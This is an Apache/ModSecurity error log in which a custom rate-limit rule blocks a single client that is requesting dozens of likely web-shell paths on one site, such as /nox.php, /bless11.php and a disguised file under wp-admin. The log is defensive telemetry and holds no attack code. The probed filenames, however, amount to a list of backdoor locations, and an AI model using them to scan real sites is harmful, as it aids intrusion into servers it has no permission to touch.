[Sun Dec 28 18:44:05.125474 2025] [:error] [pid 42292:tid 42305] [client 172.192.64.62:6720] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aVEJ9ZyOrM_vaFx1osY5iQAAAAk"]
[Sun Dec 28 18:44:05.372482 2025] [:error] [pid 42293:tid 42329] [client 172.192.64.62:6847] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aVEJ9cvc9B-5cwN385LRNgAAAEY"]
[Sun Dec 28 18:44:05.606312 2025] [:error] [pid 42292:tid 42317] [client 172.192.64.62:6819] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "aVEJ9ZyOrM_vaFx1osY5igAAABU"]
[Sun Dec 28 18:44:05.871712 2025] [:error] [pid 29437:tid 29475] [client 172.192.64.62:6892] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "aVEJ9RhDotAbVk6pZLeu5wAAAck"]
[Sun Dec 28 18:44:06.098263 2025] [:error] [pid 42292:tid 42297] [client 172.192.64.62:6730] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "aVEJ9pyOrM_vaFx1osY5iwAAAAE"]
[Sun Dec 28 18:44:06.337476 2025] [:error] [pid 42293:tid 42330] [client 172.192.64.62:6743] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "aVEJ9svc9B-5cwN385LRNwAAAEc"]
[Sun Dec 28 18:44:06.565038 2025] [:error] [pid 42294:tid 42358] [client 172.192.64.62:6906] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aVEJ9tTE5kYcYCOzl9GuFwAAAIg"]
[Sun Dec 28 18:44:06.791122 2025] [:error] [pid 43789:tid 43804] [client 172.192.64.62:6820] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aVEJ9ga-tUppni4CcCYhUgAAAQ0"]
[Sun Dec 28 18:44:07.024428 2025] [:error] [pid 42292:tid 42298] [client 172.192.64.62:6738] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aVEJ95yOrM_vaFx1osY5jgAAAAI"]
[Sun Dec 28 18:44:07.251730 2025] [:error] [pid 42292:tid 42308] [client 172.192.64.62:6795] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aVEJ95yOrM_vaFx1osY5kQAAAAw"]
[Sun Dec 28 18:44:07.480898 2025] [:error] [pid 42293:tid 42331] [client 172.192.64.62:6746] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVEJ98vc9B-5cwN385LROQAAAEg"]
[Sun Dec 28 18:44:07.706880 2025] [:error] [pid 29437:tid 29490] [client 172.192.64.62:6726] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVEJ9xhDotAbVk6pZLeu6AAAAdg"]
[Sun Dec 28 18:44:07.932489 2025] [:error] [pid 29388:tid 29417] [client 172.192.64.62:6670] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVEJ99oLv2L2zI_SpdXNhgAAAVU"]
[Sun Dec 28 18:44:08.169222 2025] [:error] [pid 42293:tid 42325] [client 172.192.64.62:6759] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVEJ-Mvc9B-5cwN385LRPAAAAEI"]
[Sun Dec 28 18:44:08.405290 2025] [:error] [pid 42378:tid 42383] [client 172.192.64.62:6814] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aVEJ-DgtcN-KHAjWrX8I2QAAAMM"]
[Sun Dec 28 18:44:08.636788 2025] [:error] [pid 42293:tid 42336] [client 172.192.64.62:6887] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aVEJ-Mvc9B-5cwN385LRPgAAAE0"]
[Sun Dec 28 18:44:08.865346 2025] [:error] [pid 42293:tid 42342] [client 172.192.64.62:6879] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aVEJ-Mvc9B-5cwN385LRQAAAAFM"]
[Sun Dec 28 18:44:09.093697 2025] [:error] [pid 42293:tid 42347] [client 172.192.64.62:6788] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aVEJ-cvc9B-5cwN385LRQgAAAFg"]
[Sun Dec 28 18:44:09.320017 2025] [:error] [pid 29436:tid 29447] [client 172.192.64.62:6757] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aVEJ-bchzOOtNL9VPNLUfAAAAYg"]
[Sun Dec 28 18:44:09.547141 2025] [:error] [pid 29436:tid 29455] [client 172.192.64.62:6835] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aVEJ-bchzOOtNL9VPNLUfQAAAZA"]
[Sun Dec 28 18:44:09.785744 2025] [:error] [pid 29388:tid 29414] [client 172.192.64.62:6763] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aVEJ-doLv2L2zI_SpdXNigAAAVI"]
[Sun Dec 28 18:44:10.012256 2025] [:error] [pid 42294:tid 42368] [client 172.192.64.62:6747] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aVEJ-tTE5kYcYCOzl9GuGAAAAJI"]
[Sun Dec 28 18:44:10.245043 2025] [:error] [pid 42294:tid 42365] [client 172.192.64.62:6766] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aVEJ-tTE5kYcYCOzl9GuGQAAAI8"]
[Sun Dec 28 18:44:10.475560 2025] [:error] [pid 29436:tid 29448] [client 172.192.64.62:6815] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aVEJ-rchzOOtNL9VPNLUfwAAAYk"]
[Sun Dec 28 18:44:10.723437 2025] [:error] [pid 29436:tid 29460] [client 172.192.64.62:6755] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aVEJ-rchzOOtNL9VPNLUgAAAAZU"]
[Sun Dec 28 18:44:10.956952 2025] [:error] [pid 29437:tid 29479] [client 172.192.64.62:6841] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aVEJ-hhDotAbVk6pZLeu6QAAAc0"]
[Sun Dec 28 18:44:11.185500 2025] [:error] [pid 29436:tid 29451] [client 172.192.64.62:6739] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aVEJ-7chzOOtNL9VPNLUgQAAAYw"]
[Sun Dec 28 18:44:11.433734 2025] [:error] [pid 29437:tid 29489] [client 172.192.64.62:6741] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aVEJ-xhDotAbVk6pZLeu6gAAAdc"]
[Sun Dec 28 18:44:11.660499 2025] [:error] [pid 42292:tid 42316] [client 172.192.64.62:6785] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aVEJ-5yOrM_vaFx1osY5lAAAABQ"]
[Sun Dec 28 18:44:11.939959 2025] [:error] [pid 42292:tid 42319] [client 172.192.64.62:6725] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aVEJ-5yOrM_vaFx1osY5lQAAABc"]
[Sun Dec 28 18:44:12.192055 2025] [:error] [pid 29436:tid 29459] [client 172.192.64.62:6834] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aVEJ_LchzOOtNL9VPNLUggAAAZQ"]
[Sun Dec 28 18:44:12.447773 2025] [:error] [pid 29388:tid 29406] [client 172.192.64.62:6902] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aVEJ_NoLv2L2zI_SpdXNiwAAAUo"]
[Sun Dec 28 18:44:12.678422 2025] [:error] [pid 43789:tid 43792] [client 172.192.64.62:6901] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aVEJ_Aa-tUppni4CcCYhVQAAAQE"]
[Sun Dec 28 18:44:12.952014 2025] [:error] [pid 42294:tid 42353] [client 172.192.64.62:6908] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aVEJ_NTE5kYcYCOzl9GuHQAAAIM"]
[Sun Dec 28 18:44:13.186227 2025] [:error] [pid 42294:tid 42360] [client 172.192.64.62:6770] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aVEJ_dTE5kYcYCOzl9GuHgAAAIo"]
[Sun Dec 28 18:44:13.412714 2025] [:error] [pid 43789:tid 43796] [client 172.192.64.62:6683] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aVEJ_Qa-tUppni4CcCYhVwAAAQU"]
[Sun Dec 28 18:44:13.655381 2025] [:error] [pid 29388:tid 29418] [client 172.192.64.62:6774] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aVEJ_doLv2L2zI_SpdXNjwAAAVY"]
[Sun Dec 28 18:44:13.903505 2025] [:error] [pid 29388:tid 29413] [client 172.192.64.62:6732] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aVEJ_doLv2L2zI_SpdXNkAAAAVE"]
[Sun Dec 28 18:44:14.137423 2025] [:error] [pid 29437:tid 29478] [client 172.192.64.62:6661] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aVEJ_hhDotAbVk6pZLeu7QAAAcw"]
[Sun Dec 28 18:44:14.408836 2025] [:error] [pid 43789:tid 43810] [client 172.192.64.62:6657] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aVEJ_ga-tUppni4CcCYhWAAAARM"]
[Sun Dec 28 18:44:14.636109 2025] [:error] [pid 42293:tid 42332] [client 172.192.64.62:7009] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aVEJ_svc9B-5cwN385LRRgAAAEk"]
[Sun Dec 28 18:44:14.870662 2025] [:error] [pid 42294:tid 42359] [client 172.192.64.62:6830] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aVEJ_tTE5kYcYCOzl9GuIgAAAIk"]
[Sun Dec 28 18:44:15.111494 2025] [:error] [pid 42293:tid 42335] [client 172.192.64.62:6782] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aVEJ_8vc9B-5cwN385LRSAAAAEw"]
[Sun Dec 28 18:44:15.352076 2025] [:error] [pid 43789:tid 43797] [client 172.192.64.62:6805] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aVEJ_wa-tUppni4CcCYhWgAAAQY"]
[Sun Dec 28 18:44:15.579194 2025] [:error] [pid 42293:tid 42334] [client 172.192.64.62:6666] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aVEJ_8vc9B-5cwN385LRSgAAAEs"]
[Sun Dec 28 18:44:15.806267 2025] [:error] [pid 42293:tid 42331] [client 172.192.64.62:6844] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aVEJ_8vc9B-5cwN385LRSwAAAEg"]
[Sun Dec 28 18:44:16.033742 2025] [:error] [pid 42292:tid 42310] [client 172.192.64.62:6780] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aVEKAJyOrM_vaFx1osY5lwAAAA4"]
[Sun Dec 28 18:44:16.262141 2025] [:error] [pid 42292:tid 42304] [client 172.192.64.62:6808] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aVEKAJyOrM_vaFx1osY5mAAAAAg"]
[Sun Dec 28 18:44:16.511498 2025] [:error] [pid 42292:tid 42305] [client 172.192.64.62:6798] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aVEKAJyOrM_vaFx1osY5mQAAAAk"]
[Sun Dec 28 18:44:16.753450 2025] [:error] [pid 42293:tid 42333] [client 172.192.64.62:6678] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aVEKAMvc9B-5cwN385LRTgAAAEo"]
[Sun Dec 28 18:44:16.979842 2025] [:error] [pid 42292:tid 42313] [client 172.192.64.62:6831] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aVEKAJyOrM_vaFx1osY5mgAAABE"]
[Sun Dec 28 18:44:17.211586 2025] [:error] [pid 42293:tid 42336] [client 172.192.64.62:6890] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aVEKAcvc9B-5cwN385LRUAAAAE0"]
[Sun Dec 28 18:44:17.470848 2025] [:error] [pid 42378:tid 42392] [client 172.192.64.62:6665] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aVEKATgtcN-KHAjWrX8I4AAAAMw"]
[Sun Dec 28 18:44:17.698640 2025] [:error] [pid 42293:tid 42337] [client 172.192.64.62:6697] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aVEKAcvc9B-5cwN385LRUwAAAE4"]
[Sun Dec 28 18:44:17.933622 2025] [:error] [pid 42292:tid 42317] [client 172.192.64.62:6778] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aVEKAZyOrM_vaFx1osY5mwAAABU"]
[Sun Dec 28 18:44:18.219337 2025] [:error] [pid 42292:tid 42297] [client 172.192.64.62:6783] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aVEKApyOrM_vaFx1osY5nQAAAAE"]
